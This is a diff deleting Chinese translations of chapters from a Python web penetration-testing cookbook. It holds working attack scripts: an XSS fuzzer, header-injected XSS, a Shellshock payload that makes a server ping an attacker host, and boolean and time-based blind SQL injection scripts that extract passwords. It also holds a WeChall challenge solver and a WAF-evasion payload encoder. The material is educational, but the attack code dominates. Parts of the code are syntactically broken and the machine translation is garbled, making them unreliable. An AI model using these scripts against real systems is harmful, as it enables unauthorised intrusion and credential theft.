-from bs4 import BeautifulSoup, SoupStrainer
-url = "http://127.0.0.1/xss/medium/guestbook2.php"
-url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
-url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
-
-f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all- attacks/interesting-metacharacters.txt")
-o = open("results.txt", 'a')
-
-print "Fuzzing begins!"
-
-initial = requests.get(url)
-for payload in f.readlines():
- for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
- d = {}
-
- if field.has_attr('name'):
- if field['name'].lower() == "submit":
- d[field['name']] = "submit"
- else:
- d[field['name']] = payload
- req = requests.post(url2, data=d)
- response = requests.get(url3)
-
- o.write("Payload: "+ payload +"\r\n")
- o.write(response.text+"\r\n")
-
-print "Fuzzing has ended"
-```
-
-以下是使用此脚本时产生的输出示例：
-
-```
-Fuzzing has begun!
-Fuzzing has ended
-```
-
-## 它是如何工作的…
-
-我们导入我们的库。由于这又是一个测试脚本，我们在代码中建立 URL：
-
-```
-url = "http://127.0.0.1/xss/medium/guestbook2.php"
-url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
-url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
-```
-
-然后我们打开两个文件。第一个是 FuzzDB 元字符文件。我已经包含了我的路径，不过可以在您的工作目录中复制该文件。第二个文件将是您写入的文件：
-
-```
-f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt")
-o = open("results.txt", 'a')
-```
-
-我们创建一个空字典，由参数和攻击字符串填充：
-
-```
-d = {}
-```
-
-当脚本将其输出写入文件时，我们需要提供一些文本来显示脚本正在工作，因此我们编写了一条漂亮而简单的消息：
-
-```
-print "Fuzzing begins!"
-```
-
-我们阅读接受输入并分配给变量的原始页面：
-
-```
-initial = requests.get(url)
-```
-
-我们用`BeautifilSoup`拆分页面，并确定我们需要的唯一字段，即输入字段和名称字段：
-
-```
-for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
- if field.has_attr('name')@~:
-```
-
-我们需要再次检查名为 submit 的任何字段是否提供了`submit`作为数据，否则我们将应用我们的攻击字符串：
-
-```
-if field['name'].lower() == "submit":
- d[field['name']] = "submit"
- else:
- d[field['name']] = payload
-```
-
-我们首先提交一个 Apple T0.请求发送映射到输入字段的攻击字符串字典，然后我们从页面中请求一个表示输出（第三页之前可能发生错误，因此应该考虑限制的）的 T1 请求。
-
-```
-req = requests.post(url2, data=d)
- response = requests.get(url3)
-```
-
-由于输出将很长且杂乱无章，因此我们将输出写入最初打开的文件中，以便于人工查看：
-
-```
-o.write("Payload: "+ payload +"\r\n")
-o.write(response.text+"\r\n")
-```
-
-我们为下一个攻击字符串重置字典，然后为用户提供一个脚本结束输出，以确保清晰：
-
-```
-d = {}
-print "Fuzzing has ended"
-```
-
-## 还有更多…
-
-你可以继续往这个食谱里加点东西。它的设计是开放的，可用于多种类型的输入和攻击。FuzzDB 包含许多不同的攻击字符串，因此所有这些都可以应用。我鼓励你去探索。
-
-## 另见
-
-您可以像我所做的那样，对存储的 XSS PHP 页面进行测试。
-
-# jQuery 检查
-
-检查较少但更严重的 OWASP 前 10 个漏洞之一是使用具有已知漏洞的库或模块。这通常意味着 web 框架的版本已经过时，但也包括执行特定功能的 JavaScript 库。在这种情况下，我们检查 jQuery；我已经用这个脚本检查了其他库，但出于示例的目的，我将继续使用 jQuery。
-
-我们将创建一个脚本，用于标识站点是否使用 jQuery，检索它的版本号，然后将其与最新版本号进行比较，以确定它是否是最新的。
-
-## 怎么做…
-
-以下是我们的脚本：
-
-```
-import requests
-import re
-from bs4 import BeautifulSoup
-import sys
-
-scripts = []
-
-if len(sys.argv) != 2:
- print "usage: %s url" % (sys.argv[0])
- sys.exit(0)
-
-tarurl = sys.argv[1]
-url = requests.get(tarurl)
-soup = BeautifulSoup(url.text)
-for line in soup.find_all('script'):
- newline = line.get('src')
- scripts.append(newline)
-
-for script in scripts:
- if "jquery.min" in str(script).lower():
- url = requests.get(script)
- versions = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text)
- if versions[0] == "2.1.1" or versions[0] == "1.12.1":
- print "Up to date"
- else:
- print "Out of date"
- print "Version detected: "+versions[0]
-```
-
-以下是使用此脚本时生成的输出示例：
-
-```
-http://candycrate.com
-Out of Date
-Version detected: 1.4.2
-```
-
-## 它是如何工作的…
-
-一如既往，我们导入我们的库并创建一个空库来容纳我们未来确定的脚本：
-
-```
-scripts = []
-```
-
-对于这个脚本，我们创建了一个简单的使用指南，用于检测是否提供了 URL。读取`sys.argv`的编号，如果不等于`2`，包括脚本本身，则打印出一个指南：
-
-```
-if len(sys.argv) != 2:
- print "usage: %s url" % (sys.argv[0])
- sys.exit(0)
-```
-
-我们从`sys.argv`列表中获取我们的目标 URL 并打开它：
-
-```
-tarurl = sys.argv[1]
-url = requests.get(tarurl)
-```
-
-和以前一样，我们用漂亮的汤把书页拆开；然而，这一次我们正在识别脚本并提取它们的`src`值，以便获得所使用的`js`库的 URL。这收集了所有可能成为 jQuery 的库。请记住，如果您扩展使用范围以包括不同类型的库，此 URL 列表可能非常有用：
-
-```
-for line in soup.find_all('script'):
- newline = line.get('src')
- scripts.append(newline)
-```
-
-对于每个已识别的脚本，我们随后检查是否有提及`jquery.min`，这将表明核心 jQuery 文件：
-
-```
-for script in scripts:
- if "jquery.min" in str(script).lower():
-```
-
-然后，我们使用正则表达式来标识版本号。在 jQuery 文件中，这将是第一个适合给定正则表达式的内容。正则表达式查找`0-9`或`a-z`，后跟一个重复无数次的周期。这是大多数版本号采用的格式，jQuery 也不例外：
-
-```
-versions = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text)
-```
-
-`re.findall`方法查找与此正则表达式匹配的所有字符串；然而，正如前面提到的，我们只想要第一个。我们用注释`[0]`来标识它。我们检查这是否等于编写本文时当前 jQuery 版本的硬编码值。这些将需要手动更新。如果该值等于当前版本中的任何一个，脚本将声明该值为最新版本，或者，如果该值不等于当前版本，脚本将打印检测到的版本以及过期消息：
-
-```
-if versions[0] == "2.1.1" or versions[0] == "1.12.1":
- print "Up to date"
- else:
- print "Out of date"
- print "Version detected: "+versions[0]
-```
-
-## 还有更多…
-
-这个方法显然是可扩展的，只需添加检测字符串和版本，就可以应用于任何 JavaScript 库。
-
-如果要扩展字符串以包含其他库，例如不安全的 Django 或 flask 库，则必须修改脚本以处理声明它们的替代方式，因为它们显然没有声明为 JavaScript 库。
-
-# 基于头的跨站点脚本
-
-到目前为止，我们一直专注于通过 URL 和参数发送有效负载，这是执行攻击的两种明显方法。然而，有许多丰富而肥沃的脆弱性来源往往未被触及。其中一个将在[第 6 章](23.html "Chapter 6. Image Analysis and Manipulation")、*图像分析与处理*中进行深入介绍，我们现在可以对其进行介绍。日志通常保存访问网页的用户的特定标题。通过在头中执行 XSS 攻击来检查这些日志可能是一项值得的活动。
-
-我们将创建一个脚本，该脚本将 XSS 攻击字符串提交到所有可用的头，并通过几个可能的 XSS 攻击循环。我们将提供一个有效负载的简短列表，抓取所有的标题，并按顺序提交它们。
-
-## 准备好了吗
-
-确定要测试的 URL。请参见本例末尾的 PHP 网页，该网页可以使用脚本来测试脚本的有效性。
-
-## 怎么做…
-
-确定目标网页后，将其作为命令行参数传递给脚本。您的脚本应与以下脚本中所示的相同：
-
-```
-import requests
-import sys
-url = sys.argv[1]
-payloads = ['', 'alert(1);', '']
-headers ={}
-r = requests.head(url)
-for payload in payloads:
- for header in r.headers:
- headers[header] = payload
- req = requests.post(url, headers=headers)
-```
-
-该脚本不会提供任何输出，因为它以功能的管理端为目标。但是，您可以通过以下方式轻松设置它，以便在每个循环上提供输出：
-
-```
-Print "Submitted "+payload
-```
-
-每次都会返回以下内容：
-
-```
-Submitted
-```
-
-## 它是如何工作的…
-
-我们导入此脚本所需的库，并以`sys.argv`函数的形式进行输入。在这一点上，你应该相当相信这一点。
-
-再一次，我们可以将有效负载声明为列表，而不是字典，因为我们将把它们与网页提供的值配对。我们还创建了一个空字典来存放我们未来的攻击配对：
-
-```
-payloads = ['', 'alert(1);', '']
-headers ={}
-```
-
-然后我们向网页发出`HEAD`请求，只返回我们攻击的页面的标题。`HEAD`请求可能被禁用，尽管可能性不大；但是，如果是，我们可以用标准的`GET`请求来代替：
-
-```
-r = requests.head(url)
-```
-
-我们循环使用前面设置的有效负载和从前面`HEAD`请求中提取的头文件：
-
-```
-for payload in payloads:
- for header in r.headers:
-```
-
-对于每个有效负载和头，我们将它们成对添加到前面设置的空字典中：
-
-```
-headers[header] = payload
-```
-
-对于有效载荷的每个迭代，我们随后提交所有具有该有效载荷的头部，因为我们显然不能提交每个头部的多个：
-
-```
-req = requests.post(url, headers=headers)
-```
-
-由于攻击的活动部分发生在管理员的客户端，因此需要使用管理员帐户进行手动检查，或者需要联系管理员以查看是否在日志记录链中的任何位置激活了攻击。
-
-## 另见
-
-以下是可用于测试前面脚本的设置。这与早期的 XSS 检查脚本非常相似。这里的区别是，传统的 XSS 方法将由于`strip_tags`函数而失败。它演示了需要使用非常规方法执行攻击的情况。显然，在注释中返回用户代理是人为的，尽管这在野外很常见。它们需要保存为工作所需的文件名，并与 MySQL 数据库一起存储注释。
-
-以下是第一个名为`guestbook.php`的界面页面：
-
-```
-
-
-
-
-View Guestbook
-```
-
-以下脚本为`addguestbook.php`，将您的评论放入数据库中：
-
-```
-";
-
-echo "View Guestbook";
-}
-
-else{
- echo "ERROR";
-}
-mysql_close();
-?>
-```
-
-最后一个脚本是`viewguestbook.php`，它从数据库中提取注释：
-
-```
-Comments\r\n";
-
-while($field = mysql_fetch_assoc($result)) {
- $trimmedname = strip_tags($field['name']);
- $trimmedcomment = strip_tags($field['comment']);
- echo "Name: " . $trimmedname . "\t";
- echo "Comment: " . $trimmedcomment . "
\r\n";
- }
-
-echo "";
-
-mysql_close();
-?>
-```
-
-# 壳体冲击检查
-
-远离针对 web 服务器的标准攻击方式，我们将快速了解 Shellshock，这是一个漏洞，允许攻击者通过特定的头发出 shell 命令。这一漏洞在 2014 年抬头，并迅速成为当年最大的漏洞之一。虽然它现在大部分已经修复，但它是一个很好的例子，说明了如何操纵 web 服务器来执行更复杂的攻击，并且在未来几年内可能成为**常见传输文件**（**CTFs**中的一个常见目标。
-
-我们将创建一个脚本，用于下拉页面的标题，确定是否存在易受攻击的标题，并向该标题提交一个示例负载。此脚本依赖于支持此攻击的外部基础设施来收集受损设备呼叫。
-
-## 准备好了吗
-
-确定要测试的 URL。确定目标网页后，将其作为`sys.argv`传递给脚本：
-
-## 怎么做…
-
-您的脚本应与以下脚本相同：
-
-```
-import requests
-import sys
-url = sys.argv[1]
-payload = "() { :; }; /bin/bash -c 'ping –c 1 –p pwnt '"
-headers ={}
-r = requests.head(url)
-for header in r.headers:
- if header == "referer" or header == "User-Agent":
- headers[header] = payload
-req = requests.post(url, headers=headers)
-```
-
-该脚本不会提供输出，因为它以功能的管理端为目标。但是，您可以通过以下方式轻松设置它，以便在每个循环上提供输出：
-
-```
-Print "Submitted "+payload
-```
-
-每次都会返回以下内容：
-
-```
-Submitted
-```
-
-## 它是如何工作的…
-
-我们导入这个脚本所需的库，并以`sys.argv`函数的形式进行输入。这有点重复，但它完成了工作。
-
-我们将有效载荷声明为单个实体。如果希望在服务器上执行多个操作，可以将其作为有效负载，类似于前面的操作。我们还为标题有效负载组合创建一个空字典，并向目标 URL 发出`HEAD`请求：
-
-```
-payload = "() { :; }; /bin/bash -c 'ping –c 1 –p pwnt '"
-headers ={}
-r = requests.head(url)
-```
-
-此处设置的有效负载将 ping 您在``空间设置的任何服务器。它将在该 ping 中发送一条消息，即`pwnt`。这允许您确定服务器实际上已被破坏，而不仅仅是随机服务器。
-
-然后，我们通过检查我们在初始`HEAD`请求中拉入的每个头，并检查是否有`referrer`或`User-Agent`头，这些头容易受到炮击攻击。如果这些标头存在，我们将针对该标头发送攻击字符串：
-
-```
-for header in r.headers:
- if header == "referer" or header == "User-Agent":
- headers[header] = payload
-```
-
-一旦我们确定了我们的头是否存在，并且针对它们设置了攻击字符串，我们就启动请求。如果成功，消息应显示在我们的日志中：
-
-```
-req = requests.post(url, headers=headers)
-```
\ No newline at end of file
diff --git a/trans/py-pentest-dev/21.md b/trans/py-pentest-dev/21.md
deleted file mode 100644
index 58ed334..0000000
--- a/trans/py-pentest-dev/21.md
+++ /dev/null
@@ -1,602 +0,0 @@
-# 第四章 SQL 注入
-
-在本章中，我们将介绍以下主题：
-
-* 检查抖动
-* 识别基于 URL 的 SQLi
-* 利用布尔 SQLi
-* 利用盲 SQLi
-* 编码有效载荷
-
-# 导言
-
-SQL 注入是一种响亮而嘈杂的攻击，在你所看到的每一家与技术相关的媒体提供商中，它都会让你感到头晕目眩。这是近代历史上最常见和最具破坏性的袭击之一，并在新设施中继续蓬勃发展。本章重点介绍如何执行和支持 SQL 注入攻击。我们将创建脚本，对攻击字符串进行编码，执行攻击，并对正常操作计时，以规范化攻击时间。
-
-# 检查抖动
-
-执行基于时间的 SQL 注入的唯一困难是各地游戏玩家的瘟疫——滞后。一个人可以很容易地坐下来，在精神上解释滞后，获取一系列返回值，然后明智地检查输出，并计算出*cgris*是*chris*。对于一台机器来说，这要困难得多；因此，我们应该努力减少延误。
-
-我们将创建一个脚本，该脚本向服务器发出多个请求，记录响应时间并返回平均时间。该可用于计算被称为**抖动**的基于时间的攻击中响应的波动。
-
-## 怎么做…
-
-识别要攻击的 URL，并通过`sys.argv`变量提供给脚本：
-
-```
-import requests
-import sys
-url = sys.argv[1]
-
-values = []
-
-for i in xrange(100):
- r = requests.get(url)
- values.append(int(r.elapsed.total_seconds()))
-
-average = sum(values) / float(len(values))
-print “Average response time for “+url+” is “+str(average)
-```
-
-以下屏幕截图是使用此脚本时产生的输出示例：
-
-
-
-## 它是如何工作的…
-
-我们导入这个脚本所需的库，就像到目前为止我们在这个模块中完成的所有其他脚本一样。我们将计数器`I`设置为零，并为即将生成的时间创建一个空列表：
-
-```
-while i < 100:
- r = requests.get(url)
- values.append(int(r.elapsed.total_seconds()))
- i = i + 1
-```
-
-使用计数器`I`，我们对目标 URL 运行`100`请求，并将请求的响应时间附加到我们之前创建的列表中。`R.elapsed`是一个`timedelta`对象，不是整数，因此必须使用`.total_seconds()`调用，以便为我们以后的平均值获取一个可用的数字。然后，我们在计数器中添加一个以说明此循环，以便脚本适当结束：
-
-```
-average = sum(values) / float(len(values))
-print “Average response time for “+url+” is “+average
-```
-
-循环完成后，我们计算`100`请求的平均值，方法是用`sum`计算列表的总值，然后用`len`除以列表中的值数。
-
-然后，为了便于理解，我们返回一个基本输出。
-
-## 还有更多…
-
-这是执行此操作的一种非常基本的方式，并且仅作为独立脚本来真正执行该功能，以证明一点。要作为另一个脚本的一部分执行，我们将执行以下操作：
-
-```
-import requests
-import sys
-
-input = sys.argv[1]
-
-def averagetimer(url):
-
- i = 0
- values = []
-
- while i < 100:
- r = requests.get(url)
- values.append(int(r.elapsed.total_seconds()))
- i = i + 1
-
- average = sum(values) / float(len(values))
- return average
-
-averagetimer(input)
-```
-
-# 识别基于 URL 的 SQLi
-
-所以，我们之前已经研究过 XSS 和错误消息的模糊化。这一次，我们正在做一些类似的事情，但是使用 SQL 注入。任何 SQLi 的关键都是以单引号、勾号或撇号开头，这取决于您个人对单词的选择。我们在目标 URL 中打勾，并检查响应，以查看成功后运行的 SQL 版本。
-
-我们将创建一个脚本，将基本 SQL 注入字符串发送到目标 URL，记录输出，并与错误消息中的已知短语进行比较，以识别底层系统。
-
-## 怎么做…
-
-我们将使用的脚本如下所示：
-
-```
-import requests
-
-url = “http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=”
-initial = “'”
-print “Testing “+ url
-first = requests.post(url+initial)
-
-if “mysql” in first.text.lower():
- print “Injectable MySQL detected”
-elif “native client” in first.text.lower():
- print “Injectable MSSQL detected”
-elif “syntax error” in first.text.lower():
- print “Injectable PostGRES detected”
-elif “ORA” in first.text.lower():
- print “Injectable Oracle detected”
-else:
- print “Not Injectable J J”
-```
-
-以下是使用此脚本时产生的输出示例：
-
-```
-Testing http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=
-Injectable MySQL detected
-
-```
-
-## 它是如何工作的…
-
-我们导入库并手动设置 URL。如果需要，我们可以将其设置为`sys.argv`变量；但是，我在这里硬编码它以显示预期的格式。我们将初始注入字符串设置为单引号，并打印测试开始：
-
-```
-url = “http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=”
-initial = “'”
-print “Testing “+ url
-```
-
-我们提出第一个请求，作为我们提供的 URL 和撇号：
-
-```
-first = requests.post(url+initial)
-```
-
-接下来的几行是我们用来识别底层数据库的检测方法。MySQL 的标准错误是：
-
-```
-You have an error in your SQL syntax; check the manual
-that corresponds to your MySQL server version for the
-right syntax to use near '\'' at line 1
-
-```
-
-相应地，我们的检测尝试读取响应文本并搜索`MySQL`字符串，如果是，则打印出尝试成功：
-
-```
-if “mysql” in first.text.lower():
- print “Injectable MySQL detected”
-```
-
-对于 MS SQL，错误消息示例如下：
-
-```
-Microsoft SQL Native Client error '80040e14'
-Unclosed quotation mark after the character string
-
-```
-
-由于存在多个潜在错误消息，我们需要识别一个常数，该常数在尽可能多的错误消息中出现。为此，我选择了`native client,`，但`Microsoft SQL`也可以使用：
-
-```
-elif “native client” in first.text.lower():
- print “Injectable MSSQL detected”
-```
-
-PostgreSQL 的标准错误消息是：
-
-```
-Query failed: ERROR: syntax error at or near
-“'” at character 56 in /www/site/test.php on line 121.
-
-```
-
-有趣的是，对于 SQL 中经常出现的语法错误，唯一经常使用`syntax`这个词的解决方案是`PostGRES,`，它允许我们使用它作为区别词：
-
-```
-elif “syntax error” in first.text.lower():
- print “Injectable PostGRES detected”
-```
-
-我们检查的最后一个系统是 Oracle。Oracle 的错误消息示例如下：
-
-```
-ORA-00933: SQL command not properly ended
-
-```
-
-ORA 是大多数 Oracle 错误的前缀，因此可以在此处用作标识符。只有少数附带情况下，非 ORA 错误消息会应用于尾随勾号：
-
-```
-elif “ORA” in first.text.lower():
- print “Injectable Oracle detected”
-```
-
-在这些都不适用的情况下，我们有一个最终的`else`语句，声明该参数不可注入，并且在选取该参数时出错。
-
-以下屏幕截图显示了一个示例输出：
-
-
-
-## 还有更多…
-
-将此脚本与[第 1 章](18.html "Chapter 1. Gathering Open Source Intelligence")中的蜘蛛*收集开源情报*相结合，将有助于快速有效地识别网页中的可注入 URL。识别要注入的参数的方法是必要的，在大多数情况下，可以通过简单的正则表达式操作来实现。
-
-奥迪-1 制作了一套有用的 SQLi 测试页面，可在[找到 https://github.com/Audi-1/sqli-labs](https://github.com/Audi-1/sqli-labs) 。
-
-# 利用布尔 SQLi
-
-有时候，你从一个页面上只能得到一个“是”或“否”。这让人心碎，直到你意识到这就是说“我爱你”的 SQL 等价物。根据您的耐心程度，所有 SQLi 都可以分解为是或否问题。
-
-我们将创建一个脚本，该脚本接受一个`yes`值和一个 URL，并根据预定义的攻击字符串返回结果。我已经提供了一个示例攻击字符串，但这将根据您正在测试的系统而改变。
-
-## 怎么做…
-
-以下脚本是您的脚本的外观：
-
-```
-import requests
-import sys
-
-yes = sys.argv[1]
-
-i = 1
-asciivalue = 1
-
-answer = []
-print “Kicking off the attempt”
-
-payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'}
-
-while True:
- req = requests.post('' data=payload)
- lengthtest = req.text
- if yes in lengthtest:
- length = i
- break
- else:
- i = i+1
-
-for x in range(1, length):
- while asciivalue < 126:
-payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'}
- req = requests.post('', data=payload)
- if yes in req.text:
- answer.append(chr(asciivalue))
-break
- else:
- asciivalue = asciivalue + 1
- pass
-asciivalue = 0
-print “Recovered String: “+ ''.join(answer)
-```
-
-## 它是如何工作的…
-
-首先，用户必须识别只有在 SQLi 成功时才会出现的字符串。或者，可以修改脚本以响应缺少失败 SQLi 证据的情况。我们将此字符串作为一个`sys.argv`变量提供。我们还创建了两个迭代器，我们将在这个脚本中使用它们，并将它们设置为`1`，因为 MySQL 从`1`开始计数，而不是像失败的系统一样从`0`开始计数。我们还为将来的答案创建一个空列表，并指示用户脚本正在启动：
-
-```
-yes = sys.argv[1]
-
-i = 1
-asciivalue = 1
-answer = []
-print “Kicking off the attempt”
-```
-
-这里的有效负载基本上请求我们试图返回的密码的长度，并将其与将被迭代的值进行比较：
-
-```
-payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'}
-```
-
-然后我们永远重复下一个循环，因为我们不知道密码有多长。我们在`POST`请求中将有效负载提交到目标 URL：
-
-```
-while True:
- req = requests.post('' data=payload)
-```
-
-每次检查我们最初设置的`yes`值是否存在于响应文本中，如果存在，则结束 while 循环，将当前值`i`设置为参数长度。`break`命令是结束`while`循环的部分：
-
-```
-lengthtest = req.text
- if yes in lengthtest:
- length = i
- break
-```
-
-如果我们没有检测到`yes`值，我们将`1`添加到`i`并继续循环：
-
-```
-Ard.
-else:
- i = i+1
-```
-
-使用目标字符串的标识长度，我们迭代每个字符，并使用`asciivalue`遍历该字符的每个可能值。对于每个值，我们将其提交到目标 URL。因为 ascii 表只运行到`127`，所以我们将循环设置为运行到`asciivalue`达到`126`为止。如果达到`127`，则表示出现问题：
-
-```
-for x in range(1, length):
- while asciivalue < 126:
-payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'}
- req = requests.post('', data=payload)
-```
-
-我们检查响应中是否存在 yes 字符串，如果存在，则中断以转到下一个字符。我们将成功消息以字符形式附加到应答字符串，并使用`chr`命令进行转换：
-
-```
-if yes in req.text:
- answer.append(chr(asciivalue))
-break
-```
-
-如果`yes`值不存在，我们将`asciivalue`添加到该位置的下一个潜在角色并通过：
-
-```
-else:
- asciivalue = asciivalue + 1
- pass
-```
-
-最后，我们为每个循环重置`asciivalue`，然后当循环到达字符串长度时，我们完成，打印整个恢复的字符串：
-
-```
-asciivalue = 1
-print “Recovered String: “+ ''.join(answer)
-```
-
-## 还有更多…
-
-这个脚本可能会被修改，以便通过更好的 SQL 注入字符串处理表中的迭代和恢复多个值。最终，这为开发更复杂和令人印象深刻的脚本以处理具有挑战性的任务提供了一个基础，就像后来的盲 SQL 注入脚本一样。有关这些概念的高级实现，请参见*利用盲 SQL 注入*脚本。
-
-# 利用盲 SQL 注入
-
-有时候，生活会给你柠檬；盲目的 SQL 注入点就是其中的一些柠檬。当您合理地确定已发现 SQL 注入漏洞，但没有错误且无法让它返回数据时，在这些情况下，您可以使用 SQL 中的计时命令使页面暂停以返回响应，然后使用该计时对数据库及其数据进行判断。
-
-我们将创建一个脚本，该脚本向服务器发出请求，并根据请求的字符返回不同时间的响应。然后它将读取这些时间并重新组合字符串。
-
-## 怎么做…
-
-脚本如下：
-
-```
-import requests
-
-times = []
-print “Kicking off the attempt”
-cookies = {'cookie name': 'Cookie value'}
-
-payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'}
-req = requests.post('' data=payload, cookies=cookies)
-firstresponsetime = str(req.elapsed.total_seconds)
-
-for x in range(1, firstresponsetime):
- payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'}
- req = requests.post('', data=payload, cookies=cookies)
- responsetime = req.elapsed.total_seconds
- a = chr(responsetime)
- times.append(a)
- answer = ''.join(times)
-print “Recovered String: “+ answer
-```
-
-## 它是如何工作的…
-
-一如既往，我们导入所需的库，并声明稍后需要填写的列表。我们这里还有一个函数，它声明脚本确实已经开始了。使用一些基于时间的功能，用户可以等待一段时间。在这个脚本中，我还包括了使用`request`库的 cookies。对于此类攻击，可能需要进行身份验证：
-
-```
-times = []
-print “Kicking off the attempt”
-cookies = {'cookie name': 'Cookie value'}
-```
-
-我们在字典中设置了有效负载以及提交按钮。攻击字符串非常简单，可以通过一些解释来理解。初始勾号必须转义，才能作为字典中的文本处理。这个记号最初会打断 SQL 命令，并允许我们输入自己的 SQL 命令。接下来，我们说在第一个命令失败的情况下，使用`OR`执行以下命令。然后，我们告诉服务器为密码列第一行中的每个字符休眠一秒钟。最后，我们用分号结束语句，并用散列注释掉任何尾随字符（如果您是美国人和/或是错的话，可以用英镑）：
-
-```
-payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'}
-```
-
-然后，我们将服务器响应的时间长度设置为`firstreponsetime`参数。我们将利用这一点来了解在以下链中需要多少字符通过此方法进行暴力：
-
-```
-firstresponsetime = str(req.elapsed).total_seconds
-```
-
-我们创建一个循环，将`x`设置为从`1`到所标识字符串长度的所有数字，并对每个数字执行一个操作。我们从`1`开始，因为 MySQL 从`1`开始计数，而不是像 Python 一样从零开始计数：
-
-```
-for x in range(1, firstresponsetime):
-```
-
-我们制作了一个与前面类似的有效负载，但这次我们说的是在第一行密码列中密码的`X`字符的 ascii 值的 sleep。因此，如果第一个字符是小写字母 a，那么相应的 ascii 值是 97，因此系统将休眠 97 秒。如果是小写 b，它将睡眠 98 秒，依此类推：
-
-```
-payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'}
-```
-
-我们每次提交字符串中每个字符位置的数据：
-
-```
-req = requests.post('', data=payload, cookies=cookies)
-```
-
-我们获取每个请求的响应时间来记录服务器睡眠的时间，然后将该时间从 ascii 值转换回字母：
-
-```
-responsetime = req.elapsed.total_seconds
- a = chr(responsetime)
-```
-
-对于每个迭代，我们打印出当前已知的密码，然后最终打印出完整密码：
-
-```
-answer = ''.join(times)
-print “Recovered String: “+ answer
-```
-
-## 还有更多…
-
-这个脚本提供了一个框架，可以适应许多不同的场景。web 应用程序挑战网站 Wechall 设置了一个限时、盲目的 SQLi 挑战，必须在很短的时间内完成。下面是我们的原始脚本，它已经适应了这种环境。如您所见，我必须考虑不同值和服务器延迟的较小时间差，并且还引入了一种检查方法，每次重置测试值并自动提交：
-
-```
-import subprocess
-import requests
-
-def round_down(num, divisor):
- return num - (num%divisor)
-
-subprocess.Popen([“modprobe pcspkr”], shell=True)
-subprocess.Popen([“beep”], shell=True)
-
-values = {'0': '0', '25': '1', '50': '2', '75': '3', '100': '4', '125': '5', '150': '6', '175': '7', '200': '8', '225': '9', '250': 'A', '275': 'B', '300': 'C', '325': 'D', '350': 'E', '375': 'F'}
-times = []
-answer = “This is the first time”
-cookies = {'wc': 'cookie'}
-setup = requests.get ('http://www.wechall.net/challenge/blind_lighter/index .php?mo=WeChall&me=Sidebar2&rightpanel=0', cookies=cookies)
-y=0
-accum=0
-
-while 1:
- reset = requests.get('http://www.wechall.net/challenge/blind_lighter/ index.php?reset=me', cookies=cookies)
- for line in reset.text.splitlines():
- if “last hash” in line:
- print “the old hash was:”+line.split(“ “)[20].strip(“.”)
- print “the guessed hash:”+answer
- print “Attempts reset \n \n”
- for x in range(1, 33):
- payload = {'injection': '\'or IF (ord(substr(password, '+str(x)+', 1)) BETWEEN 48 AND 57,sleep((ord(substr(password, '+str(x)+', 1))- 48)/4),sleep((ord(substr(password, '+str(x)+', 1))- 55)/4));#', 'inject': 'Inject'}
- req = requests.post ('http://www.wechall.net/challenge/blind_lighter/ index.php?ajax=1', data=payload, cookies=cookies)
- responsetime = str(req.elapsed)[5]+str(req.elapsed)[6]+str(req.elapsed)[8]+ str(req.elapsed)[9]
- accum = accum + int(responsetime)
- benchmark = int(15)
- benchmarked = int(responsetime) - benchmark
- rounded = str(round_down(benchmarked, 25))
- if rounded in values:
- a = str(values[rounded])
- times.append(a)
- answer = ''.join(times)
- else:
- print rounded
- rounded = str(“375”)
- a = str(values[rounded])
- times.append(a)
- answer = ''.join(times)
- submission = {'thehash': str(answer), 'mybutton': 'Enter'}
- submit = requests.post('http://www.wechall.net/challenge/blind_lighter/ index.php', data=submission, cookies=cookies)
- print “Attempt: “+str(y)
- print “Time taken: “+str(accum)
- y += 1
- for line in submit.text.splitlines():
- if “slow” in line:
- print line.strip(“”)
- elif “wrong” in line:
- print line.strip(“”)
- if “wrong” not in submit.text:
- print “possible success!”
- #subprocess.Popen([“beep”], shell=True)
-```
-
-# 编码有效载荷
-
-停止 SQL 注入的一种方法是通过服务器端文本操作或**Web App 防火墙**（**WAFs**进行过滤。这些系统针对通常与攻击相关的特定短语，如`SELECT`、`AND`、`OR`和空格。通过用不太明显的值替换这些值，可以很容易地避免这些问题，从而在总体上突出黑名单问题。
-
-我们将创建一个脚本，该脚本接受攻击字符串，查找可能转义的字符串，并提供替代攻击字符串。
-
-## 怎么做…
-
-以下是我们的脚本：
-
-```
-subs = []
-values = {“ “: “%50”, “SELECT”: “HAVING”, “AND”: “&&”, “OR”: “||”}
-originalstring = “' UNION SELECT * FROM Users WHERE username = 'admin' OR 1=1 AND username = 'admin';#”
-secondoriginalstring = originalstring
-for key, value in values.iteritems():
- if key in originalstring:
- newstring = originalstring.replace(key, value)
- subs.append(newstring)
- if key in secondoriginalstring:
- secondoriginalstring = secondoriginalstring.replace(key, value)
- subs.append(secondoriginalstring)
-
-subset = set(subs)
-for line in subs:
- print line
-```
-
-以下屏幕截图是使用此脚本时生成的输出示例：
-
-
-
-## 它是如何工作的…
-
-此脚本不需要库！多么令人震惊！我们为要创建的值创建一个空列表，并为要添加的替换值创建一个字典。我已经在其中添加了五个示例值。空格和`%20`通常由 WAF 转义，因为 URL 通常不包含空格，除非请求了不合适的内容。
-
-更具体地说，经过调优的系统可能会转义特定于 SQL 的单词，例如`SELECT`、`AND`和`OR`。这些是非常基本的值，可以根据需要添加或替换：
-
-```
-subs = []
